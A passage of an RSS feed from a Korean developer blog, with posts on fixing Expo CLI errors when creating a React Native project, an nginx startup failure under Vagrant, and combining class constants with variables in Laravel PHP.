&lt;figure id=&quot;og_1663907326317&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;regex101: build, test, and debug regex&quot; data-og-description=&quot;Regular expression tester with syntax highlighting, explanation, cheat sheet for PHP/PCRE, Python, GO, JavaScript, Java, C#/.NET.&quot; data-og-host=&quot;regex101.com&quot; data-og-source-url=&quot;https://regex101.com/&quot; data-og-url=&quot;https://regex101.com/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/yjA68/hyPTZ9NZHH/8pUkY74CqW94bwYViKUeN1/img.png?width=1200&amp;amp;height=629&amp;amp;face=0_0_1200_629,https://scrap.kakaocdn.net/dn/Vqea7/hyPT7msrif/J5mAW4KHniv55gFHkXXEVk/img.png?width=1200&amp;amp;height=629&amp;amp;face=0_0_1200_629&quot;&gt;&lt;a href=&quot;https://regex101.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://regex101.com/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/yjA68/hyPTZ9NZHH/8pUkY74CqW94bwYViKUeN1/img.png?width=1200&amp;amp;height=629&amp;amp;face=0_0_1200_629,https://scrap.kakaocdn.net/dn/Vqea7/hyPT7msrif/J5mAW4KHniv55gFHkXXEVk/img.png?width=1200&amp;amp;height=629&amp;amp;face=0_0_1200_629');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;regex101: build, test, and debug regex&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Regular expression tester with syntax highlighting, explanation, cheat sheet for PHP/PCRE, Python, GO, JavaScript, Java, C#/.NET.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;regex101.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/PHP</category>
      <category>routes/web.php</category>
      <category>라라벨 route</category>
      <category>라라벨 web.php</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/182</guid>
      <comments>https://bug41.tistory.com/entry/Laravel-routeswebphp#entry182comment</comments>
      <pubDate>Fri, 23 Sep 2022 13:19:25 +0900</pubDate>
    </item>
    <item>
      <title>[React-Native] 프로젝트 생성에서부터 삐걱  Input is required, but Expo CLI is in non-interactive mode.</title>
      <link>https://bug41.tistory.com/entry/React-Native-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%83%9D%EC%84%B1%EC%97%90%EC%84%9C%EB%B6%80%ED%84%B0-%EC%82%90%EA%B1%B1-Input-is-required-but-Expo-CLI-is-in-non-interactive-mode</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;React Native 강의를 좀 들어보고있는데 xde 를 쓰네, 근데 xde 는 서비스 종료했다고 하네 ?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어쨌든 아래 npm 명령어로 expo-cli 설치하고 프로젝트 생성해서 좀 해볼라하는데 오류가 난다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아 참고로 npm install 할때 자꾸 말썽이면 아싸리 node, npm 재설치하는게 낫다&lt;/p&gt;
&lt;pre id=&quot;code_1660795869239&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;npm install expo-cli --global&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;201&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLOcyD/btrJWN4d04F/qiwBSL7uaFAAk0z4ONkX70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLOcyD/btrJWN4d04F/qiwBSL7uaFAAk0z4ONkX70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLOcyD/btrJWN4d04F/qiwBSL7uaFAAk0z4ONkX70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLOcyD%2FbtrJWN4d04F%2FqiwBSL7uaFAAk0z4ONkX70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;862&quot; height=&quot;201&quot; data-origin-width=&quot;862&quot; data-origin-height=&quot;201&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1660795815620&quot; class=&quot;gradle&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// React-Native 프로젝트 생성할 경로
c/web_developer/react-native

//react-native 프로젝트 생성
expo init [프로젝트명]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같은 오류 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cd&amp;nbsp;rn[13:04:41]&amp;nbsp;Input&amp;nbsp;is&amp;nbsp;required,&amp;nbsp;but&amp;nbsp;Expo&amp;nbsp;CLI&amp;nbsp;is&amp;nbsp;in&amp;nbsp;non-interactive&amp;nbsp;mode. &lt;br /&gt;--template:&amp;nbsp;argument&amp;nbsp;is&amp;nbsp;required&amp;nbsp;in&amp;nbsp;non-interactive&amp;nbsp;mode.&amp;nbsp;Valid&amp;nbsp;choices&amp;nbsp;are:&amp;nbsp;&quot;blank&quot;,&amp;nbsp;&quot;tabs&quot;,&amp;nbsp;&quot;bare-minimum&quot;&amp;nbsp;or&amp;nbsp;any&amp;nbsp;custom&amp;nbsp;template&amp;nbsp;(name&amp;nbsp;of&amp;nbsp;npm&amp;nbsp;package).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;찾아보니 git bash 에서 실행시켜서 에러나는거라고 함&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;깔끔한건 git bash 가 최고인데 이 녀석이 복병이었을줄이야 .. 에휴&lt;br /&gt;&lt;br /&gt;여튼 powershell 열고 여기서 실행시키니까 프로젝트는 정상적으로 생성됨&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;882&quot; data-origin-height=&quot;311&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJ74PJ/btrJT6Dlx3J/uFkKUSQspKa7kYnrk0o9sK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJ74PJ/btrJT6Dlx3J/uFkKUSQspKa7kYnrk0o9sK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJ74PJ/btrJT6Dlx3J/uFkKUSQspKa7kYnrk0o9sK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJ74PJ%2FbtrJT6Dlx3J%2FuFkKUSQspKa7kYnrk0o9sK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;882&quot; height=&quot;311&quot; data-origin-width=&quot;882&quot; data-origin-height=&quot;311&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;expo start 로 실행시켜볼라니깐 여기서 또 에러 발생 ㅋㅋㅋㅋ&lt;br /&gt;아직 react native 제대로 시작도 안해봤는데 하기도전에 벌써 싫어질라한다 ..&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1406&quot; data-origin-height=&quot;519&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xUZyp/btrJWdIYrXF/gGD3MMl5d1k6hiYlEid8pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xUZyp/btrJWdIYrXF/gGD3MMl5d1k6hiYlEid8pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xUZyp/btrJWdIYrXF/gGD3MMl5d1k6hiYlEid8pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxUZyp%2FbtrJWdIYrXF%2FgGD3MMl5d1k6hiYlEid8pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1406&quot; height=&quot;519&quot; data-origin-width=&quot;1406&quot; data-origin-height=&quot;519&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;Starting&amp;nbsp;project&amp;nbsp;at&amp;nbsp;C:\web_developer\react-native\rn2 &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;&amp;radic;&amp;nbsp;It&amp;nbsp;looks&amp;nbsp;like&amp;nbsp;you're&amp;nbsp;trying&amp;nbsp;to&amp;nbsp;use&amp;nbsp;web&amp;nbsp;support&amp;nbsp;but&amp;nbsp;don't&amp;nbsp;have&amp;nbsp;the&amp;nbsp;required&amp;nbsp;dependencies&amp;nbsp;installed.&amp;nbsp;Would&amp;nbsp;you&amp;nbsp;like&amp;nbsp;to &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;install&amp;nbsp;react-native-web,&amp;nbsp;react-dom?&amp;nbsp;...&amp;nbsp;yes &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;&amp;times;&amp;nbsp;Failed&amp;nbsp;to&amp;nbsp;install&amp;nbsp;react-native-web@~0.18.7,&amp;nbsp;react-dom&amp;nbsp;with&amp;nbsp;error:&amp;nbsp;npm&amp;nbsp;exited&amp;nbsp;with&amp;nbsp;non-zero&amp;nbsp;code:&amp;nbsp;1&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에러 문구 보니 react-native 랑 react-dom 안깔려있다고 해서&amp;nbsp;&lt;br /&gt;적당히 npm install 로 각각 설치하고 다음 넘어가려하는데 또 아래와 같은 에러 발생&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;This&amp;nbsp;command&amp;nbsp;is&amp;nbsp;being&amp;nbsp;executed&amp;nbsp;with&amp;nbsp;the&amp;nbsp;global&amp;nbsp;Expo&amp;nbsp;CLI.&amp;nbsp;Learn&amp;nbsp;more:&amp;nbsp;&lt;a style=&quot;color: #ef5369;&quot; href=&quot;https://blog.expo.dev/the-new-expo-cli-f4250d8e3421&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://blog.expo.dev/the-new-expo-cli-f4250d8e3421&lt;/a&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;To&amp;nbsp;use&amp;nbsp;the&amp;nbsp;local&amp;nbsp;CLI&amp;nbsp;instead&amp;nbsp;(recommended&amp;nbsp;in&amp;nbsp;SDK&amp;nbsp;46&amp;nbsp;and&amp;nbsp;higher),&amp;nbsp;run: &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;&amp;rsaquo;&amp;nbsp;npx&amp;nbsp;expo&amp;nbsp;start &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;Starting&amp;nbsp;project&amp;nbsp;at&amp;nbsp;C:\web_developer\react-native\rn2 &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #ef5369;&quot;&gt;&quot;react-native-web&quot;&amp;nbsp;is&amp;nbsp;added&amp;nbsp;as&amp;nbsp;a&amp;nbsp;dependency&amp;nbsp;in&amp;nbsp;your&amp;nbsp;project's&amp;nbsp;package.json&amp;nbsp;but&amp;nbsp;it&amp;nbsp;doesn't&amp;nbsp;seem&amp;nbsp;to&amp;nbsp;be&amp;nbsp;installed.&amp;nbsp;Please&amp;nbsp;run&amp;nbsp;&quot;yarn&quot;&amp;nbsp;or&amp;nbsp;&quot;npm&amp;nbsp;install&quot;&amp;nbsp;to&amp;nbsp;fix&amp;nbsp;this&amp;nbsp;issue.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;npm install 치는데 안먹혀서 아래 명령어로 해결&lt;/p&gt;
&lt;pre id=&quot;code_1660797491050&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;npm install --legacy-peer-deps&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 expo start 하면 아래와 같이 정상적으로 실행이 되는데 이건 그 expo 앱 연동해서 데스크탑이랑 모바일에서 같은 네트워크 , 같은 공유기 썻을때 확인할 수 있는거고 나는 pc 웹페이지 에서 바로 띄워서 보고싶으니깐&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1099&quot; data-origin-height=&quot;498&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qM4AA/btrJ0TWFxta/qb3K3IPKGGqSTYJM4nKucK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qM4AA/btrJ0TWFxta/qb3K3IPKGGqSTYJM4nKucK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qM4AA/btrJ0TWFxta/qb3K3IPKGGqSTYJM4nKucK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqM4AA%2FbtrJ0TWFxta%2Fqb3K3IPKGGqSTYJM4nKucK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1099&quot; height=&quot;498&quot; data-origin-width=&quot;1099&quot; data-origin-height=&quot;498&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 expo start -w 로 실행했는데&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1100&quot; data-origin-height=&quot;167&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RDseO/btrJWxHz65S/bdPvPY2m9geAIkt2Kpg080/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RDseO/btrJWxHz65S/bdPvPY2m9geAIkt2Kpg080/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RDseO/btrJWxHz65S/bdPvPY2m9geAIkt2Kpg080/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRDseO%2FbtrJWxHz65S%2FbdPvPY2m9geAIkt2Kpg080%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1100&quot; height=&quot;167&quot; data-origin-width=&quot;1100&quot; data-origin-height=&quot;167&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아까 react-dom 깔았는데 왜이러는지 -- ;;&lt;br /&gt;package.json 에도 이상없이 잘 들어가있는데 ..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여튼 npm install 했는데 위 처럼 또 에러 뜨길래 또 강제로 npm install --legacy-peer-deps 쳐서 install 하고 난 후에&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;expo start -w 하니까 잘 띄워진다.&lt;br /&gt;왜 이리 찜찜한건데 ~&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1029&quot; data-origin-height=&quot;627&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wWRSN/btrJYxNox4G/bXAn90tnej3lVY0pKToTG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wWRSN/btrJYxNox4G/bXAn90tnej3lVY0pKToTG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wWRSN/btrJYxNox4G/bXAn90tnej3lVY0pKToTG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwWRSN%2FbtrJYxNox4G%2FbXAn90tnej3lVY0pKToTG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1029&quot; height=&quot;627&quot; data-origin-width=&quot;1029&quot; data-origin-height=&quot;627&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>IT/React-Native</category>
      <category>react native 설치</category>
      <category>react native 프로젝트 생성</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/181</guid>
      <comments>https://bug41.tistory.com/entry/React-Native-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%83%9D%EC%84%B1%EC%97%90%EC%84%9C%EB%B6%80%ED%84%B0-%EC%82%90%EA%B1%B1-Input-is-required-but-Expo-CLI-is-in-non-interactive-mode#entry181comment</comments>
      <pubDate>Thu, 18 Aug 2022 13:45:10 +0900</pubDate>
    </item>
    <item>
      <title>[Vagrant] linux nginx 실행 지속실패</title>
      <link>https://bug41.tistory.com/entry/Vagrant-linux-nginx-%EC%8B%A4%ED%96%89-%EC%A7%80%EC%86%8D%EC%8B%A4%ED%8C%A8</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;nginx 실행시 계속 지속적인 에러 발생&lt;/p&gt;
&lt;pre id=&quot;code_1657847374748&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-- Unit nginx.service has begun starting up.
Jul 15 10:06:08 rocky8.localdomain nginx[3604]: nginx: [emerg] BIO_new_file(&quot;/vagrant/MyProject/web/config/ssl/star.site.co.kr.pem&quot;) failed (SSL: error:02001002:system library:fopen:No such file or directory:fopen('/vagrant/Bl&amp;gt;
Jul 15 10:06:08 rocky8.localdomain nginx[3604]: nginx: configuration file /etc/nginx/nginx.conf test failed
Jul 15 10:06:08 rocky8.localdomain systemd[1]: nginx.service: Control process exited, code=exited status=1
Jul 15 10:06:08 rocky8.localdomain systemd[1]: nginx.service: Failed with result 'exit-code'.
-- Subject: Unit failed
-- Defined-By: systemd
-- Support: https://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- The unit nginx.service has entered the 'failed' state with result 'exit-code'.
Jul 15 10:06:08 rocky8.localdomain systemd[1]: Failed to start The nginx HTTP and reverse proxy server.
-- Subject: Unit nginx.service has failed
-- Defined-By: systemd
-- Support: https://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit nginx.service has failed.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vagrant 참 죽같다&lt;br /&gt;도커가 보고싶어서 죽을 지경 ;&lt;br /&gt;&lt;br /&gt;어이가 없는게 , 컴퓨터 재부팅하고나서 이런 웃픈 에러가 발생한다 전날까지만 해도 잘됐다가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 아예 다 잘된건 아니고 , 초기에 시작할때 무한로딩이 걸려서 버츄얼박스에서 일부러 끄고나서 다시 reload 해줘야하는 번거로움이 있긴한데 여튼 vagrant 쓰기싫은데 지금 회사에서 쓰니 어쩔수가있냐 ..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여튼 해당 문제에 해결법은 ssl pem 파일을 찾을수없다고 뜨는데 vagrant 문제라고 확실히 지은 이유는&lt;br /&gt;원래 아래처럼 vagrant ssh 접속해서&amp;nbsp;&lt;br /&gt;&lt;br /&gt;cd /vagrant 를치면 저렇게 연동된 폴더들이 나와야 정상인데 아무것도 안뜨더라&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;386&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WvmGD/btrHjdklEod/hBmjf1aDZ0dVxXKBZTHnoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WvmGD/btrHjdklEod/hBmjf1aDZ0dVxXKBZTHnoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WvmGD/btrHjdklEod/hBmjf1aDZ0dVxXKBZTHnoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWvmGD%2FbtrHjdklEod%2FhBmjf1aDZ0dVxXKBZTHnoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;386&quot; height=&quot;162&quot; data-origin-width=&quot;386&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국은 vagrantfile 기존에 백업해놓은걸로 덮어씌워서 해결함 ;&lt;/p&gt;
&lt;pre id=&quot;code_1657847596030&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;VAGRANTFILE_API_VERSION = &quot;2&quot;

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
  config.vm.box = &quot;generic/rocky8&quot;
  config.vbguest.auto_update = false
  config.vm.network &quot;private_network&quot;, ip: &quot;192.168.33.16&quot;
  config.vm.synced_folder &quot;./&quot;, &quot;/vagrant&quot;, type:&quot;virtualbox&quot;

  config.vm.provision &quot;shell&quot;, run: &quot;always&quot; do |s|
    s.inline = &quot;systemctl $1 $2&quot;
    s.args   = [&quot;start&quot;,&quot;nginx&quot;]
  end

end&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;vagrantfile 내용이 바껴있던데 왜 바꼇을까 .. git 으로 덮어씌운적도 없는데&amp;nbsp;&lt;br /&gt;git RollBack 되서 그런걸까 싶기도하고 .. 아마 이부분이 제일 가능성 클수도 근데 그걸 다 떠나서 vagrant 맘에 안듬&lt;br /&gt;&lt;br /&gt;일단 vagrantfile은 git과 무관하게끔 조정하자 (예전에 했었는데 ..)&lt;br /&gt;git&amp;nbsp;update-index&amp;nbsp;--assume-unchanged&amp;nbsp;Vagrantfile&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>vagrant</category>
      <category>vagrant nginx 오류</category>
      <category>vagrantfile</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/179</guid>
      <comments>https://bug41.tistory.com/entry/Vagrant-linux-nginx-%EC%8B%A4%ED%96%89-%EC%A7%80%EC%86%8D%EC%8B%A4%ED%8C%A8#entry179comment</comments>
      <pubDate>Fri, 15 Jul 2022 10:14:28 +0900</pubDate>
    </item>
    <item>
      <title>[Laravel] 다른 클래스의 상수 , 변수 합치기</title>
      <link>https://bug41.tistory.com/entry/Laravel-%EB%8B%A4%EB%A5%B8-%ED%81%B4%EB%9E%98%EC%8A%A4%EC%9D%98-%EC%83%81%EC%88%98-%EB%B3%80%EC%88%98-%ED%95%A9%EC%B9%98%EA%B8%B0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;게시판의 엑셀다운로드를 진행한다했을때 엑셀 다운이 되는 게시판은 무궁무진하게 많다.&lt;br /&gt;그걸 일일히 elseif 처리를 방지하고자 &lt;span&gt;타 디렉토리에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;상수로 아래처럼 선언해두고 최대한 이용한다.&lt;/p&gt;
&lt;pre id=&quot;code_1653529597698&quot; class=&quot;actionscript&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class ExcelType
{
    const TYPE_MEMBER = '회원내역';
    const TYPE_ORDER = '주문내역';
    const TYPE_CARD = '장바구니내역';
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;예를들어 엑셀다운 기능이 아래처럼 호출이 된다 가정했을때 ($data 는 그냥 select 해서 가져온 엑셀로 뽑아야하는 list)&lt;br /&gt;MEMBER 라는놈에 맞게 선언된 &quot;회원내역&quot; 의 타이틀을 달고 엑셀파일에 박혀서 나와야한다.&lt;/p&gt;
&lt;pre id=&quot;code_1653529561104&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Excel::get()-&amp;gt;down($data,'MEMBER');&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1653529728358&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;...생략

class Excel extends StaticClass {

	public function down ($data,$type){    
    	$title = constant(ExcelType::class.'::TYPE_'.$type);
        
        ...생략
    }
    
    ... 생략
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;위 처럼 해주면 $title 에 &quot;회원내역&quot; 이 잘 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;변수끼리 합치는건 늘 하던일이라 , 이번엔 또 타 클래스에 있는 상수와 변수를 합치는거라 나름 흥미로웠다.&lt;br /&gt;1시간동안 삽질한건 안비밀&lt;br /&gt;아래는 실패했던 내역 ㅋㅋㅋㅋㅋㅋ 기념샷 ..&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;235&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2F0DZ/btrC9llWsxN/znwZ9vIBrNfPNSNBaazEn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2F0DZ/btrC9llWsxN/znwZ9vIBrNfPNSNBaazEn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2F0DZ/btrC9llWsxN/znwZ9vIBrNfPNSNBaazEn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2F0DZ%2FbtrC9llWsxN%2FznwZ9vIBrNfPNSNBaazEn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;465&quot; height=&quot;235&quot; data-origin-width=&quot;465&quot; data-origin-height=&quot;235&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/PHP</category>
      <category>PHP 변수</category>
      <category>php 상수</category>
      <category>변수</category>
      <category>상수</category>
      <category>상수변수 합치기</category>
      <author>월공</author>
